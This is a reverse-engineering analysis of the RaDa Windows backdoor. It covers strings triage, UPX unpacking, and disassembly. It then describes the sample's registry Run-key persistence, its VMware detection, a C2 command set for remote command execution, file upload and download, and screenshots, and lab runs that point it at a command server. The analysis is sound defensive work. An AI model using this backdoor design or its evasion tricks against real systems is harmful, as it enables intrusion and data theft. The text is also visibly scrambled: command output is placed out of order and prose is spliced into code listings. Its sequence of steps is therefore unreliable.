$ file RaDa.zipand the single file contained within, RaDa.exe was extracted. The file utility was used again to categorize RaDa.exe as:
RaDa.zip: Zip archive data, at least v2.0 to extract
$ file RaDa.exePreliminary analysis: Following confirmation that the malware file was a Windows executable, the strings utility was used to see if it could uncover anything interesting. With any Windows binary, it is always a good idea to scan for both 7-bit ASCII and 16 bit Unicode strings. The following ASCII strings were found (edited to show only initially interesting strings):
RaDa.exe: MS-DOS executable (EXE), OS/2 or MS Windows
$ strings -a RaDa.exeAnd, the following Unicode strings (note the use of the "-e l" option to search for 16 bit character strings, "man strings" for more info) were found:
!This program is the binary of SotM 32..
KERNEL32.DLL
MSVBVM60.DLL
LoadLibraryA
GetProcAddress
ExitProcess
$ strings -e l RaDa.exeThe most interesting fact learned from all of this is that the binary was probably written in Visual Basic based on its use of MSVBVM60.DLL (rather than MSVCRT0.DLL, the standard C library). MSVBVM60.DLL is described as: "msvbvm60.dll is a module for the Microsoft Visual Basic virtual machine" by ProcessLibrary.com. An additional thing to note here is that binaries that yield so few strings often turn out to be protected by some form of obfuscator such as ASPack, or UPX. This knowledge helps us know what to expect when we take a closer look.
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
Malware
ProductName
RaDa
FileVersion
1.00
ProductVersion
1.00
InternalName
RaDa
OriginalFilename
RaDa
VarFileInfo
Translation
!This program is the binary of SotM 32..As a consequence of these actions, the original, uncompressed binary could not be recovered using UPX itself. While UPX is capable of compressing a binary, it is also capable of decompressing a UPX compressed binary in order to recover the original, uncompressed binary. This is done with the "-d" command line option to UPX. Unfortunately, if UPX detects that a binary has been tampered with, it will refuse to decompress the binary. In order to work with UPX protected binaries within IdaPro I had previously developed an IDC script specifically to unpack UPX binaries. The script mimics the UPX decompression routine and reconstructs the programs import table in a manner similar to UPX itself. A useful thing to do following execution of the decompression script is to have Ida rescan the binary for strings. If the decompression was successful, a fair number of new strings should be detectable. Because Ida has grouped data in ways that it prefers, it is useful to have Ida "Ignore defined instructions and data" (see the figure to the right) when scanning for new strings. Also, since this is a Windows binary, it is useful to scan for Unicode strings in addition to standard C strings. Some results of the new strings scan appear in the figure below:
JDR1:0040FE77 loc_40FE77: ; CODE XREF: JDR1:0040FE30So analysis continued at the instruction at location 0x04018A4 which unfortunately does not lead very far:
JDR1:0040FE77 popa
JDR1:0040FE78 jmp near ptr dword_4018A4
JDR0:0040189C j_Ordinal_0x64 proc near ; CODE XREF: JDR0:004018A9Here we see that the program immediately pushes a value then calls an imported library function. The key to continued execution must lie in the data that is pushed then, so examination continued at location 0x0401994. As seen in the following figure, this location begins with a VB5 marker indication a Visual Basic 5 compatible data structure. Location 0x0401994 is clearly not executable, so perhaps this data structure contains a pointer to the main function of the malware program. Following a little data reorganization some values stand out for potential exploration. The values contained in locations 004019C0, 004019C4, 004019E0, and 004019E4 all fall within the range of the JDR0 section of the program and may therefore point to executable portions of the program. As seen in the figure below, IdaPro displays the contents of the target locations whenever the mouse cursor is held over an address. In the case of address 4045D0h, it is clear (with a little reverse engineering experience) that a function prologue is present at that address, while no function prologues appear to be present at the other 3 pointer locations. As a side note, it is a useful reverse engineering skill to remember what the machine language representation of a function prologue looks like in order to be able to recognize function boundaries while looking at raw hex.
JDR0:0040189C jmp ds:Ordinal_0x64
JDR0:0040189C j_Ordinal_0x64 endp
JDR0:0040189C
JDR0:0040189C ; ---------------------------------------------------------------------------
JDR0:004018A2 align 4
JDR0:004018A4
JDR0:004018A4 loc_4018A4: ; CODE XREF: JDR1:0040FE78
JDR0:004018A4 push offset dword_401994
JDR0:004018A9 call j_Ordinal_0x64
JDR0:00404879By asking Ida to convert the values around location 404F40h into code, a new function is discovered and the call instruction is transformed into the following:
JDR0:00404879 loc_404879: ; CODE XREF: VB_Main+2A1
JDR0:00404879 call near ptr dword_404F40+70h
JDR0:00404879 loc_404879: ; CODE XREF: VB_Main+2A1sub_404FB0 appears in the following figure and the string reference begins to give us the sense that we are on the right track:
JDR0:00404879 call sub_404FB0
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"which is the name of a Windows registry key often used by malware to ensure that the malware is restarted each time a computer is rebooted. All programs listed under this key are started by Windows at system startup. Analysis of function sub_404FB0 shows that it largely performs initialization tasks for a number of string variables. For this reason I renamed the function Init_data. Another interesting string that gets referenced from this function is:
"HKLM\Software\VMware, Inc.\VMware Tools\InstallPath"Which is a key used by VMWare to indicate the install location for "VMWare Tools" within virtual machines running Windows as the guest operating system. IdaPro's cross-referencing features indicate every location from which a program variable is referenced. By making use of cross-referencing, the functions that refer to the two registry keys mentioned above are quickly located for analysis.
Argument |
Description |
--visible |
Causes Internet Explorer window to be displayed during
command fetch operations |
--verbose |
Does nothing other than initialize a string: "Starting DDoS Smurf remote attack..." there is no evidence that the binary actually performs a Smurf attack however. |
--server <url base> |
Specifies the base url of the remote command server which must be on a private subnet and must be refered to by IP rather than hostname. default: http://10.10.10.10/RaDa |
--commands <file name> |
Specifies the name of the remote command file to retrieve. default: RaDa_commands.html |
--cgipath <path> |
Specifies the name of the remote cgi directory. default: cgi-bin |
--cgiget <name> |
Specifies the name of the remote cgi script to invoke for downloading files to the infected victim. default: download.cgi |
--cgiput <name> |
Specifies the name of the remote cgi script to invoke for uploading files off of the infected victim. default: upload.cgi |
--tmpdir <dir> |
Specifies the name of the working directory to be used by the running program instance. default: C:\RaDa\tmp |
--period <time> |
Specifies the number of seconds the program waits between successive command cycles. default: 60 |
--cycles <num> |
Specifies the number of command cycles the program should complete before exiting. default: 0 (0 == infinite) |
--help |
Causes the program to display a copyright notice in an Internet Explorer window. |
--gui |
Causes the program to display a gui control panel. |
--installdir <dir> |
Specifies the directory in which the program will install itself default: C:\RaDa\bin |
--noinstall |
Specifies that the program should not install itself permanently (do not copy exe or add registry key). default is to install |
--uninstall |
Specifies that the program should uninstall itself by deleting its exe and removing its registry key. |
--authors |
Causes the program to open a dialog box listing the authors of the program. The dialog box will only be displayed if the check_for_vmware function indicates that the program is not running in a virtual machine. |
Command |
Argument |
Description |
exe | <cmd> |
run the specified command using "%COMSPEC% /C <cmd>" |
get | <filename> |
invoke <server>/<cgipath>/<cgiget> to download <filename> from <server> to the victim's <tmpdir> |
put | <filename> |
invoke <server>/<cgipath>/<cgiput> to upload <filename> from the victim to <server> |
screenshot | <filename> |
saves a bmp image of the victim's screen into the named file in <tmpdir> |
sleep | <duration> |
causes the program to sleep for the specified time. This is in addition to the delay introduced by the --period option |
The commands above instruct the program to:
If the command file that resides on <server> is updated during
the period between cycles, then the program can be made to execute a
new command set in the following execution cycle.
Additional analysis of the program indicates that the file upload
portion of the code was lifted from this example:
http://www.motobit.com/tips/detpg_uploadvbsie.htm.
This was discovered
by conducting an internet search for the following piece of text found
in the program:
"Copyright (C) 2001 Antonin Foller, PSTRUH Software"
The discovery of this script made reverse engineering several functions
much easier.
Behavioral
Observation:
Sufficient static analysis was performed
to develop a good idea of the expected behavior of the program. In
order to confirm my findings, the program was allowed to run in an
instrumented lab environment. A web server was configured to
accept requests from the program and all of the command line options
noted previously were exercised. Because of the VMWare checks
performed by the program, I elected to run it on a laptop running
Windows 2000 rather than within a virtual machine. It should be
noted however that all of the VMWare checks performed by the program
can be defeated with the following steps:
With those changes made, the program will happily tell you who its
authors are even when running within a virtual machine.
Programs used to instrument test runs of RaDa include the following:
The following test runs were performed with any graphical output displayed to the right of the command used to generate it::
RaDa --noinstall --help
RaDa --noinstall --gui
RaDa --noinstall --authors
RaDa --noinstall --server http://192.168.0.202
RaDa --server http://192.168.0.202
RaDa --uninstall
:
:
RaDa --uninstall